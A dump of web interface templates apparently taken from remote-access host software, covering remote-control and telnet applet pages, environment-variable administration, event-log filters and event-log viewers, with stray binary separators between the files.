} else if (event.detail) { /** Mozilla case. */

delta = -event.detail/3; /** In Mozilla, sign of delta is different than in IE. Also, delta is multiple of 3. */

}

if (delta) {

onMouseWheelHandler(delta); /** If delta is nonzero, handle it. */

}

if (event.preventDefault) {

event.preventDefault(); /** Prevent default actions caused by mouse wheel. */

}

event.returnValue = false;

}



/** Initialization code. 

* If you use your own event management code, change it as required.

*/

if (window.addEventListener) {

window.addEventListener('DOMMouseScroll', wheel, false); /** DOMMouseScroll is for mozilla. */

}

window.onmousewheel = document.onmousewheel = wheel; /** IE/Opera. */	



/** Focus support */

var e1 = top.document.getElementById('mainframeset');



function onBlur() {

if (bIsMSIE && ( e1 != null && active_element != e1.activeElement)) {

active_element = e1.activeElement;

} else {

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserBlurCallback)!="undefined") {

flashObject.browserBlurCallback();

}

}

}

function onFocus(){

var flashObject = document.getElementById('rcxcontrol');

if(flashObject && typeof(flashObject.browserFocusCallback)!="undefined") {

flashObject.browserFocusCallback();

}

}



/** Initialization code. 

* If you use your own event management code, change it as required.

*/

if (navigator.appName == "Microsoft Internet Explorer") {

if(e1){

active_element = e1.activeElement;

}

bIsMSIE = true;

} else {

bIsMSIE = false;

}



// IE

if(e1){

e1.onfocusin = onFocus;

e1.onfocusout = onBlur;



e1.onfocus = onFocus;

e1.onblur = onBlur;						



e1.focus = onFocus;

e1.blur = onBlur;



// FF, Saf, Op

if (e1.addEventListener) {

//alert("FF,Saf,Op - event listener exists");



e1.addEventListener('focus',onFocus,false);

e1.addEventListener('blur',onBlur,false);



e1.addEventListener('DOMFocusIn',onFocus,false);

e1.addEventListener('DOMFocusOut',onBlur,false);



if(document.addEventListener){							

//alert("FF,Saf,Op - doc event listener exists");

document.addEventListener('focus',onFocus,false);

document.addEventListener('blur',onBlur,false);



document.addEventListener('DOMFocusIn',onFocus,false);

document.addEventListener('DOMFocusOut',onBlur,false);

}

if(window.addEventListener){							

window.addEventListener('focus',onFocus,false);

window.addEventListener('blur',onBlur,false);

}

}

}

</script>

<?else?>

<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:556EEC63-31E2-47C3-BF29-DFF799D2FE04", APPLETWIDTH, APPLETHEIGHT, "rcxcontrol")?>

<?include "remctrl_params.html"?>

<?usemacro OBJECTCLOSE()?>

<?endif?>

<?endif?>

<?endif?>

</div>

</body>

<?case "html"?>

<?if GUESTINVITE?>

<?redirect"remctrldisconnect.html?reason=nojava"?>

<?elseif CFG.RemoteControl.DisableHTML = "1"?>

<body <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('rcxcontrol', <?if REQ.TYPE="java"?>true<?else?>false<?endif?>);"<?endif?>>

<table class="windowrc" width="100%" height="100%">

<?if not UITYPE="LMI"?>

<tr>

<td class="titleBar" id="title1"><?usemacro TITLEICON("remote")?><span class="titleText"><?&MSG.REMCTRL.TITLE?></span></td>

</tr>

<?endif?>

<tr>

<td border=1 height="100%" align="center" <?if UI="secrem"?>style="border=1px solid black"<?endif?>>

<?include "getjava.html"?>

</td>

</tr>

</table>

</body>

<?else?>

<?include"remctrl_htmlimpl.html"?>

<?endif?>

<?endswitch?>



qz0embedded\telnet_app.html0<?ratmpl?>

<?nocache?>

<? set TEMPLATE = "/" TEMPLATE ?>

<?include "activex.inc"?>

<?include "macros.html"?>

<?include "chkobject.inc"?>



<?

if REQ.APPLETWIDTH

set APPLETWIDTH = REQ.APPLETWIDTH

set APPLETHEIGHT = REQ.APPLETHEIGHT

else

action "appletsize"

endif

?>



<?if not APPLETWIDTH?>

<script language="JavaScript"> 

function appletResize() {

var w_newWidth, w_newHeight, w_titleHeight;

var vContainer1 = document.getElementById("title1");

var vContainer2 = document.getElementById("title2");

w_titleHeight = vContainer1.offsetHeight + vContainer2.offsetHeight;

w_newWidth =self.innerWidth; 

w_newHeight=self.innerHeight - w_titleHeight; 

window.location.replace('&TEMPLATE&?type=java&appletwidth=' + 

w_newWidth + '&appletheight=' + w_newHeight + '&app=1');

}

</script> 		

<?endif?>



<?if REQ.TYPE = "activex" or REQ.TYPE = "xpi" or REQ.TYPE = "java"?>



<body style="margin:0px;padding:0px;" <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('telnetControl', true);"<?endif?>>

<?

if BRAND.LOGMEIN and ACTIONS has "-cfgtelnet-"

action "cfgtelnet"

usemacro WINERRDLG()

endif

?>

<?if APPLETWIDTH?>

<?action "appletssl"?>

<?action "telnet"?>

<?if not WINERRNUM?>

<?if REQ.TYPE="activex"?>

<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:4849E17D-2DEF-40D7-98DE-DB555B4A589C", APPLETWIDTH, APPLETHEIGHT, "telnetControl")?>

<?include "telnet_params.html"?>

<?usemacro OBJECTCLOSE()?>

<?elseif REQ.TYPE="xpi"?>

<object type="application/x-3amlabs-ratelnet" width="&APPLETWIDTH&" height="&APPLETHEIGHT&" id="telnetControl" viewastext>

<?include "telnet_params.html"?>

</object>

<?elseif REQ.TYPE="java"?>

<?usemacro APPLETOPEN(JAVA.CODEBASE, "Telnet.class", APPLETWIDTH, APPLETHEIGHT, "telnet.cab", "telnet.jar?RASID=" RASID.URLENC, "appletToResize")?>

<?include "telnet_params.html"?>

<?usemacro APPLETCLOSE()?>

<?endif?>

<?else?>

<b>&WINERRMSG&</b>

<?endif?>

<?endif?> <!-- APPLETWIDTH //-->



</body>



<?else?>



</body>



<?endif?>



</html>

)empty.htmlX<html>
<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0>
</body>
</html>
s		env.htmldF<?ratmpl?>
<?
nocache
include "macros.html"

set REQ.TYPE="system"
if REQ.SUBMIT
action "envset"
endif
if REQ.DELETE
action "envdel"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?action "envlist"?>
<?usemacro WINERRDLG()?>
<script language="JavaScript">
var vars = new Array();
var	i = 0;
function addVar(name, val) {
var o = new Object();
o.name = name;
o.val  = val;
vars[i++] = o;
}
addVar("", "", ""); addVar("", "", ""); // header line
<?enum SYSENV?>addVar("$SYSENV.NAME$", "$SYSENV.VALUE$");<?next?>

function getVar(name, type) {
for( var i = 1; i < vars.length; i++ ) {
if ( vars[i] && vars[i].name == name )
return vars[i];
}
return null;
}
function valueDlg(idx) {
var v = vars[idx];
var f = document.forms.ValueForm;
f.old_name.value = v.name;
f.name.value = v.name;
f.value.value = v.val;
winShow("ValueDlg");
if (v.name == "")
f.name.focus();
else
f.value.focus();
}
function delVal() {
var	selrows = trows.getSelectedIndexes();
if ( selrows.length > 0  &&  vars[selrows[0]]  &&  confirm("$MSG.DIALOG.MAKESURE$") ) {
var	url = "&TEMPLATE&?delete=1&name=" + encodeURIComponent(vars[selrows[0]].name);
window.location = url + "&$RND$";
}
}
function viewVal() {
var	selrows = trows.getSelectedIndexes();
if ( selrows.length > 0  &&  vars[selrows[0]] ) {
valueDlg(selrows[0]);
}
}
function chkToolbar() {
document.images["tooldel"].src="img/ico_delete.gif"; 
document.images["toolatr"].src="img/ico_prop.gif"; 
}
</script>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.ENVIRON.TITLE?></span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.ENVIRON.TITLE%&favicon=menu_admin.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="javascript:valueDlg(0);"><img src="img/ico_newdoc.gif" title="&DIALOG.CREATE&" border="0"></a>
<a href="javascript:viewVal();"><img id="toolatr" src="img/ico_prop_off.gif" title="&MSG.PROPS&" border="0"></a>
<a href="javascript:delVal()"><img id="tooldel" src="img/ico_delete_off.gif" title="&DIALOG.DELETE&" border="0"></a>
</div>
</div>
<br>
<table id="vlist" class="inner" align=center width="80%">
<thead>
<tr><th colspan="2"><?&MSG.ADMIN.ENVIRON.SYSTEM?></th></tr>
<tr class="ttd"><td><?&MSG.NAME?></td><td><?&MSG.VALUE?></td></tr>
</thead>
<tbody>
<?enum SYSENV?>
<tr ondblclick="viewVal()" onclick="chkToolbar()">
<td>&SYSENV.NAME&</td><td>&SYSENV.VALUE&</td>
</tr>
<?next?>
</tbody>
</table><br>
<script type="text/javascript">
// MULTISELECT TABLE
var trows = new SelectableTableRows(document.getElementById("vlist"), true);
</script>

<div id="ValueDlg" class="subwindow" style="left:5%;top:80px;width:90%;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.ENVIRON.TITLE?></span></div>
<form name="ValueForm" action="&TEMPLATE&" method="post">
<center>
<fieldset>
<table>
<tr>
<input type="hidden" name="old_name" value="&REQ.NAME&">
<td align="right"><?&MSG.NAME?>:</td>
<td align="left"><input type="text" name="name" size="30"></td>
</tr>
<tr>
<td align="right"><?&MSG.VALUE?>:</td>
<td align="left"><textarea name="value" rows="4" cols="70" maxlength="1024"></textarea></td>
</tr>
</table>
</fieldset>
<br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.OK&">
<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="winHide('ValueDlg');">
</center>
</form>
</div>
</div>
</body>
</html>
Y/fevtfilter.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?
if REQ.CREATE
action "evtfilteradd"
elseif REQ.SUBMIT
action "evtfilterset"
elseif REQ.DELETE
action "evtfilterdel"
endif
usemacro WINERRDLG()
action "evtfilterlist"
usemacro WINERRDLG()
action "evtlogs"
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">&MSG.ADMIN.EVTFILTER.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=Event Filter&favicon=menu_schedule.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&<?if REQ.BACK?>?back=&REQ.BACK&<?endif?>?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<br>
<br>
<center>

<?if "1" or CFG.SMTP.Server ?>
<table class="inner">
<tr>
<th colspan="6">&MSG.ADMIN.EVTFILTER.INCLUDE&</th>
</tr>
<tr>
<th><?if USE.DASHBOARD?>&MSG.ADMIN.EVTFILTER.APPLIESTO&<?else?>&MSG.ADMIN.ALERTS.ENABLE&<?endif?></th>
<th>&MSG.ADMIN.ALERTS.EVTLOG&</th>
<th>&MSG.ADMIN.ALERTS.EVTTYPE&</th>
<th>&MSG.ADMIN.ALERTS.EVTSRC&</th>
<th>&MSG.ADMIN.ALERTS.EVTID&</th>
<th></th>
</tr>
<?enum FILTERS?>
<?if FILTER.METHOD==1?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<input type="hidden" name="filterid" value="&FILTER.ID&">
<input type="hidden" name="method" value="&FILTER.METHOD&">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<tr>
<?if USE.DASHBOARD?>
<td>
<select name="appliesto" size="1">
<option value="0" <?selected FILTER.APPLIESTO="0"?>>&MSG.ADMIN.EVTFILTER.NONE&
<option value="1" <?selected FILTER.APPLIESTO="1"?>>&MSG.ADMIN.EVENTS.TITLE&
<option value="2" <?selected FILTER.APPLIESTO="2"?>>&MSG.DASH.TITLE&
<option value="3" <?selected FILTER.APPLIESTO="3"?>>&MSG.ADMIN.EVTFILTER.BOTH&
</select>
</td>
<?else?>
<td><input type="checkbox" name="enable" <?checked FILTER.ENABLE?>></td>
<?endif?>
<td><input type="hidden" name="evtlog" value="&FILTER.EVTLOG&">&FILTER.EVTLOG&</td>
<td>
<select name="evttype" size="1">
<option value="1" <?selected FILTER.EVTTYPEN= "1"?>>&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value="2" <?selected FILTER.EVTTYPEN= "2"?>>&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value="3" <?selected FILTER.EVTTYPEN= "3"?>>&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value="4" <?selected FILTER.EVTTYPEN= "4"?>>&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value="8" <?selected FILTER.EVTTYPEN= "8"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16" <?selected FILTER.EVTTYPEN="16"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31" <?selected FILTER.EVTTYPEN="31"?>>&MSG.ADMIN.EVENTS.TYPE.ALL&
</select>
</td>
<td><input type="text" name="evtsrc" size="10" value="&FILTER.EVTSRC&"></td>
<td><input type="text" name="evtid" size="4" value="&FILTER.EVTID&"></td>
<td><input type="submit" name="submit" value="&DIALOG.APPLY&">&nbsp;<input type="submit" name="delete" value="&DIALOG.DELETE&"></td>
</tr>
</form>
<?endif?>
<?next?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<input type="hidden" name="method" value="1">
<tr>
<?if USE.DASHBOARD?>
<td>
<select name="appliesto" size="1">
<option value="0">&MSG.ADMIN.EVTFILTER.NONE&
<option value="1">&MSG.ADMIN.EVENTS.TITLE&
<option value="2">&MSG.DASH.TITLE&
<option value="3">&MSG.ADMIN.EVTFILTER.BOTH&
</select>
</td>
<?else?>
<td><input type="checkbox" name="enable" checked></td>
<?endif?>
<td><select name="evtlog" size="1"><?enum EVTLOGS?><option value="&EVTLOG.NAME&">&EVTLOG.DISP&<?next?></select></td>
<td>
<select name="evttype" size="1">
<option value="1">&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value="2">&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value="3">&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value="4">&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value="8">&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16">&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31">&MSG.ADMIN.EVENTS.TYPE.ALL&
</select>
</td>
<td><input type="text" name="evtsrc" size="10"></td>
<td><input type="text" name="evtid" size="4"></td>
<td><input type="submit" name="create" value="&DIALOG.CREATE&"></td>
</tr>
</form>
</table>
<br>
<br>
<table class="inner">
<tr>
<th colspan="6">&MSG.ADMIN.EVTFILTER.EXCLUDE&</th>
</tr>
<tr>
<th><?if USE.DASHBOARD?>&MSG.ADMIN.EVTFILTER.APPLIESTO&<?else?>&MSG.ADMIN.ALERTS.ENABLE&<?endif?></th>
<th>&MSG.ADMIN.ALERTS.EVTLOG&</th>
<th>&MSG.ADMIN.ALERTS.EVTTYPE&</th>
<th>&MSG.ADMIN.ALERTS.EVTSRC&</th>
<th>&MSG.ADMIN.ALERTS.EVTID&</th>
<th></th>
</tr>
<?enum FILTERS?>
<?if FILTER.METHOD==0?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<input type="hidden" name="filterid" value="&FILTER.ID&">
<input type="hidden" name="method" value="&FILTER.METHOD&">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<tr>
<?if USE.DASHBOARD?>
<td>
<select name="appliesto" size="1">
<option value="0" <?selected FILTER.APPLIESTO="0"?>>&MSG.ADMIN.EVTFILTER.NONE&
<option value="1" <?selected FILTER.APPLIESTO="1"?>>&MSG.ADMIN.EVENTS.TITLE&
<option value="2" <?selected FILTER.APPLIESTO="2"?>>&MSG.DASH.TITLE&
<option value="3" <?selected FILTER.APPLIESTO="3"?>>&MSG.ADMIN.EVTFILTER.BOTH&
</select>
</td>
<?else?>
<td><input type="checkbox" name="enable" <?checked FILTER.ENABLE?>></td>
<?endif?>
<td><input type="hidden" name="evtlog" value="&FILTER.EVTLOG&">&FILTER.EVTLOG&</td>
<td>
<select name="evttype" size="1">
<option value="1" <?selected FILTER.EVTTYPEN= "1"?>>&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value="2" <?selected FILTER.EVTTYPEN= "2"?>>&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value="3" <?selected FILTER.EVTTYPEN= "3"?>>&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value="4" <?selected FILTER.EVTTYPEN= "4"?>>&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value="8" <?selected FILTER.EVTTYPEN= "8"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16" <?selected FILTER.EVTTYPEN="16"?>>&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31" <?selected FILTER.EVTTYPEN="31"?>>&MSG.ADMIN.EVENTS.TYPE.ALL&
</select>
</td>
<td><input type="text" name="evtsrc" size="10" value="&FILTER.EVTSRC&"></td>
<td><input type="text" name="evtid" size="4" value="&FILTER.EVTID&"></td>
<td><input type="submit" name="submit" value="&DIALOG.APPLY&">&nbsp;<input type="submit" name="delete" value="&DIALOG.DELETE&"></td>
</tr>
</form>
<?endif?>
<?next?>
<form action="&TEMPLATE&" onsubmit="return true || check(this)">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<input type="hidden" name="method" value="0">
<tr>
<?if USE.DASHBOARD?>
<td>
<select name="appliesto" size="1">
<option value="0">&MSG.ADMIN.EVTFILTER.NONE&
<option value="1">&MSG.ADMIN.EVENTS.TITLE&
<option value="2">&MSG.DASH.TITLE&
<option value="3">&MSG.ADMIN.EVTFILTER.BOTH&
</select>
</td>
<?else?>
<td><input type="checkbox" name="enable" checked></td>
<?endif?>
<td><select name="evtlog" size="1"><?enum EVTLOGS?><option value="&EVTLOG.NAME&">&EVTLOG.DISP&<?next?></select></td>
<td>
<select name="evttype" size="1">
<option value="1">&MSG.ADMIN.EVENTS.TYPE.ERROR&
<option value="2">&MSG.ADMIN.EVENTS.TYPE.WARNING&
<option value="3">&MSG.ADMIN.EVENTS.TYPE.ERRWARN&
<option value="4">&MSG.ADMIN.EVENTS.TYPE.INFO&
<option value="8">&MSG.ADMIN.EVENTS.TYPE.AUDITSUCC&
<option value="16">&MSG.ADMIN.EVENTS.TYPE.AUDITFAIL&
<option value="31">&MSG.ADMIN.EVENTS.TYPE.ALL&
</select>
</td>
<td><input type="text" name="evtsrc" size="10"></td>
<td><input type="text" name="evtid" size="4"></td>
<td><input type="submit" name="create" value="&DIALOG.CREATE&"></td>
</tr>
</form>
</table>

<p style="margin: 2ex;">&MSG.ADMIN.EVTFILTER.NOTE&</p>

<?endif?>
<?if REQ.BACK?><p><input type="button" value="$MSG.DIALOG.BACK$" onclick="location.replace('&REQ.BACK&');"></p><?endif?>

</center>

<br>
</div>
</body>
</html>
0evtinfo.html<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<?if REQ.IDX?>
<?action "evtinfo"?>
<?if WINERRNUM?>
<p align="center"><?&MSG.DIALOG.ERROR?>: <?&WINERRMSG?></p>
<?else?>
<table class="eventinfo">
<?if EVENT.CATEGORY?><tr><td align="right">&ADMIN.EVENTS.CATEGORY&:</td><td><?&EVENT.CATEGORY?></td></tr><?endif?>
<?if EVENT.MESSAGE?>
<tr>
<td align="right" valign="top" style="white-space: nowrap">
&ADMIN.EVENTS.MSG&:
</td>
<td style="white-space: nowrap">
<?if EVENT.MESSAGE.PRE?><pre style="font: 12px normal courier;">&EVENT.MESSAGE.PRE&</pre><?else?>&EVENT.MESSAGE&<?endif?>
</td>
</tr>
<?endif?>
<?if EVENT.DATA?>
<tr>
<td align="right" valign="top">
&ADMIN.EVENTS.DATA&:
</td>
<td>
<?if EVENT.DATA.PRE?><pre style="font: 12px normal courier;">&EVENT.DATA.PRE&</pre><?else?>&EVENT.DATA&<?endif?>
</td>
</tr>
<?endif?>
</table>
<?endif?>
<?else?>
<p align="center">&ADMIN.EVENTS.NOEVENT&</p>
<?endif?>
@bevtinfo.wml01<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SRVNAME&"> 

<?if REQ.IDX?>
<?else
action "evtdump"
set REQ.IDX = EVENTS.NEWEST
endif
action "evtinfo"?>

<p align="center">
<b><?&REQ.LOG?> log #<?&REQ.IDX?></b>
</p>

<p align="center">
<?if EVENT.PREV?>
<i><anchor>Previous Record
<go href="&TEMPLATE&" method="get">
<postfield name="log" value="&REQ.LOG&"/>
<postfield name="IDX" value="&EVENT.PREV&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
<?if EVENT.NEXT?>
<i><anchor>Next Record
<go href="&TEMPLATE&" method="get">
<postfield name="log" value="&REQ.LOG&"/>
<postfield name="IDX" value="&EVENT.NEXT&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
</p>

<?if WINERRNUM?>
<p align="center"><?&MSG.DIALOG.ERROR?>: <?&WINERRMSG?></p>

<?else?>
<p align="left">
<?if EVENT.TYPE		?><b><?&MSG.TYPE?>:</b>&nbsp;<?&MSG.ADMIN.EVENTS.TYPE:EVENT.TYPE?><br/><?endif?>
<?if EVENT.TIME		?><b><?&MSG.ADMIN.EVENTS.GENERATED?>:</b><br/><?&EVENT.TIME _dtms?><br/><?endif?>
<?if EVENT.SOURCE	?><b><?&MSG.ADMIN.EVENTS.SOURCE?>:</b><br/><?&EVENT.SOURCE?><br/><?endif?>
<?if EVENT.CATEGORY	?><b><?&MSG.ADMIN.EVENTS.CATEGORY?>:</b><br/><?&EVENT.CATEGORY?><br/><?endif?>
<?if EVENT.ID		?><b><?&MSG.ADMIN.EVENTS.ID?>:</b><br/><?&EVENT.ID?><br/><?endif?>
<?if EVENT.COMPUTER	?><b><?&MSG.ADMIN.EVENTS.COMPUTER?>:</b><br/><?&EVENT.COMPUTER?><br/><?endif?>
<?if EVENT.USER		?><b><?&MSG.ADMIN.EVENTS.USER?>:</b><br/><?&EVENT.USER?><br/><?endif?>
<?if EVENT.MESSAGE	?><b><?&MSG.ADMIN.EVENTS.MSG?>:</b><br/><?&EVENT.MESSAGE?><br/><?endif?>
<br/>
</p>
<?endif?>

<p align="center">
<anchor><?&MSG.DIALOG.BACK?>
<go href="/evtlogs.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
?q9evtlogs.htmlEX<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "table.inc"?>
<?include "dirtree.inc"?>
<script type="text/javascript" src="/js/window.js"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
</head>
<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5);">
<?
if REQ.CLEAR // need to clear log?
action "evtclear"
usemacro WINERRDLG()
endif
// list event log names
action "evtlogs"
usemacro WINERRDLG()
// get default log
enum EVTLOGS
set default REQ.LOG = EVTLOG.NAME
if REQ.LOG = EVTLOG.NAME
set default REQ.NAME = EVTLOG.DISP
endif
next
// list events
usemacro LINECOUNT()
action "evtdump"
usemacro WINERRDLG()
?>

<script language="javascript">

function showEvent(parentobject, logname, eventid, recordid) {
if (!removeEventElement(parentobject)) {
initXmlHttp();
var url = "evtinfo.html?log=" + escape(logname) +
"&idx=" + escape(eventid) +
"&recordid=" + escape(recordid);
createEventElement("$ADMIN.REGISTRY.LOADING$", parentobject);
loadDashItem(url, null, contentArrived, parentobject);
}
}

function getFirstTD(parent) {
if (parent) {
var temp = parent.firstChild;
while (temp && temp.nodeName != "TD") {
temp = temp.nextSibling;
}
if (temp)
return temp;
}
return null;
}

function removeEventElement(parentobject) {
var isEventShown = false;
var elementTD = getFirstTD(parentobject);
if (elementTD) {
isEventShown = elementTD.rowSpan == 2;
}
if (isEventShown) {
elementTD.rowSpan = 1;
parentobject.parentNode.removeChild(parentobject.nextSibling);
}
return isEventShown;
}

function createEventElement(content, parentobject) {
removeEventElement(parentobject);
var tr_element = document.createElement("TR");
var td_element = document.createElement("TD");
td_element.innerHTML = content;
td_element.colSpan = 5;
td_element.style.border = "none";
tr_element.appendChild(td_element);
parentobject.parentNode.insertBefore(tr_element, parentobject.nextSibling);
var enlarge = getFirstTD(parentobject);
if (enlarge) 
enlarge.rowSpan = 2;
}

function contentArrived(divid, response, parentobject) {
createEventElement(response, parentobject);
}

function browseResult(filepath, filename) {
document.forms['clear'].bak.value = filepath;
}
</script>


<div id="info" class="window">
<div class="titleBar">
<?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.ADMIN.EVENTS.TITLE?> (<?&REQ.NAME?>)</span>
</div>

<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.ADMIN.EVENTS.TITLE%%20%28%REQ.LOG%%29&favicon=menu_manage.png&favargs=%TEMPLATE%%3Flog%3D%REQ.LOG%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&" width="22" height="22"></a>
<a href="&TEMPLATE&?log=%REQ.LOG%&name=%REQ.NAME%&idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" align="absmiddle" width="16" height="16" border="0" title="&DIALOG.UPDATE&"></a>
</div>	
<div class="buttonGroup">
<?if not BRAND.LOGMEIN?>
<a href="emailalert.html?%RND%"><img src="img/ico_emailalert.png" align="absmiddle" width="16" height="16" border=0 title="&MSG.ADMIN.ALERTS.TITLE&" style="width: 16px; height: 16px;"></a>
<?endif?>
<a href="evtfilter.html?back=evtlogs.html&%RND%"><img src="img/menu_filter.png" align="absmiddle" width="16" height="16" border=0 title="&MSG.ADMIN.EVTFILTER.TITLE&" style="width: 16px; height: 16px;"></a>
<a href="javascript:showDlg('clearwnd', true);"><img src="img/ico_delete.gif" align="absmiddle" width="16" height="16" border=0 title="&MSG.ADMIN.EVENTS.CLEAR&"></a>
<select size="1" onChange="window.location='%TEMPLATE%?log=' + escape(this.options[this.selectedIndex].value);">
<?enum EVTLOGS?>
<option value="&EVTLOG.NAME&" <?if REQ.LOG = EVTLOG.NAME?>selected<?endif?>>&EVTLOG.DISP&</option>
<?next?> 
</select>
</div>
<?usemacro PAGEBAR("LOG")?>
</div>

<div id="infoArea" class="scrollableDataArea">
<center>
<?if EVENTS > 0?>
<table id="evtlist" class="inner" width="99%" >
<thead>
<tr class="inner">
<th colspan=2>&MSG.ADMIN.EVENTS.ID&</th>
<th>&MSG.ADMIN.EVENTS.SOURCE&</th>
<th>&MSG.ADMIN.EVENTS.USER&</th>
<th>&MSG.ADMIN.EVENTS.GENERATED&</th>
<th>&MSG.ADMIN.EVENTS.COMPUTER&</th>
</tr>
</thead>
<tbody>
<?enum EVENTS?>
<tr onclick="showEvent(this, '$REQ.LOG$', '$EVENT.INDEX$', '$EVENT.RECORDID$');">
<td align="center">
<?switch EVENT.TYPE?>
<?case "error"?>    <img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16 border=0>
<?case "info"?>     <img src="img/ico_evt_info.png?bg=%COLOR.DlgBack%" width=16 height=16 border=0>
<?case "warning"?>  <img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%" width=16 height=16 border=0>
<?case "auditfail"?><img src="img/ico_evt_nolock.png?bg=%COLOR.DlgBack%" width=16 height=16 border=0>
<?case "auditsucc"?><img src="img/ico_evt_perm.png?bg=%COLOR.DlgBack%" width=16 height=16 border=0>
<?endswitch?>
</td>
<td nowrap align=center><?&EVENT.ID?></td>
<td nowrap><?&EVENT.SOURCE?></td>
<td nowrap><?IF EVENT.USER = ""?>&CONFIG.NA&<?else?><?&EVENT.USER?><?endif?></td>
<td nowrap><?&EVENT.TIME _dtms?></td>
<td nowrap align=center><?&EVENT.COMPUTER?></td>
</tr>
<?next?>
</tbody>
<?if PAGE.COUNT>1?><tfoot><tr><td colspan="6"><img src="img/clear.gif" height="3"><br><font color="<?&COLOR.Link?>"><?&MSG.PAGING.NOTICE?></font><br><img src="img/clear.gif" height="3"></td></tr></tfoot><?endif?>
</table>
<script language="JavaScript">
var tevtlist = new SelectableTableRows(document.getElementById("evtlist"), false);
</script>
<?else // no events?>
<br><br>
&MSG.ADMIN.EVENTS.NONE&
<?endif?>
</center>
</div>
</div>

<div id="clearwnd" class="subwindow" style="left:50px;top:90px;width:450;height:auto;">
<div class="titleBar"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;<?&MSG.ADMIN.EVENTS.CLEAR?></div>
<center><br>
<form name="clear" action="&TEMPLATE&">
<input type="hidden" name="log" value="&REQ.LOG&">
<table>
<tr>
<td rowspan="2" valign="top">&nbsp;&nbsp;<img src="img/ico_trash.gif">&nbsp;&nbsp;</td>
<td>
&MSG.ADMIN.EVENTS.CONFIRM&<br><br>
&MSG.ADMIN.EVENTS.BACKUP&<br><br>
&MSG.ADMIN.EVENTS.BACKUP.EXPLAIN&<br><br>
